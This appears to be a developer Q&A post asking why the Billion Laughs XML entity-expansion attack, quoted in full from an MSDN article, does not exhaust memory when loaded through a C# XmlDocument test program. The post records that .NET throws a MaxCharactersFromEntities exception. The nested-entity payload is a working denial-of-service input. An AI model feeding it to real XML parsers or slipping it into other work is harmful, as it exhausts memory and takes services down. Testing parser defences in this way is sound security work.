title: Is the Billion Laughs Attack supposed to be working in C#?
body: <p>I am trying to test the XML code from an <a href="http://msdn.microsoft.com/en-us/magazine/ee335713.aspx" rel="nofollow">MSDN magazine page</a> where it says that the following lines of code will cause an increase of memory usage up to 3GB when processing.</p>
  
  <pre><code>&lt;?xml version="1.0"?&gt;
  &lt;!DOCTYPE lolz [
    &lt;!ENTITY lol "lol"&gt;
    &lt;!ENTITY lol2 "&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;"&gt;
    &lt;!ENTITY lol3 "&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;"&gt;
    &lt;!ENTITY lol4 "&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;"&gt;
    &lt;!ENTITY lol5 "&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;"&gt;
    &lt;!ENTITY lol6 "&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;"&gt;
    &lt;!ENTITY lol7 "&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;"&gt;
    &lt;!ENTITY lol8 "&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;"&gt;
    &lt;!ENTITY lol9 "&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;"&gt;
  ]&gt;
  &lt;lolz&gt;&amp;lol9;&lt;/lolz&gt;
  </code></pre>
  
  <p>When I tried to paste that text into an xml file in Visual Studio it indeed showed a increase in memory and also in CPU usage. However when I tried to put it in a text file, instead of an XML file and load it using c#, it didn't have any impact.</p>
  
  <p>Update: I thought the LoadXml method was supposed to have an impact, but I guess that is not the processing part. When I tried to get the first child it (i.e. c#) threw an exception telling that <code>MaxCharactersFromEntities</code> was exceeded.</p>
  
  <p>Update: here is my code as well:</p>
  
  <pre><code>using System;
  using System.Xml;
  
  namespace BillionLaughsAttack
  {
      class Program
      {
          //The file containing the billion laughs mentioned previously
          //a txt file: Since an xml file causes visual studio to parse
          static String xmlFileLocation = "./MyData/DeepXML.txt";
  
          static void Main(string[] args)
          {
              String xmlContent = null;
              System.IO.StreamReader sr;
              System.Xml.XmlDocument document = new XmlDocument();
              try
              {
                  sr = new System.IO.StreamReader(xmlFileLocation);
                  xmlContent = sr.ReadToEnd();
                  //Load xml containing Billion Laughs Attack (this won't do anything!)
                  document.LoadXml(xmlContent);
                  //Proces xml by getting first child (this will cause an exception!)
                  String val = document.FirstChild.Value;
              }
              catch (Exception e)
              {
                  Console.WriteLine(e.Message);
              }
          }
      }
  }
  </code></pre>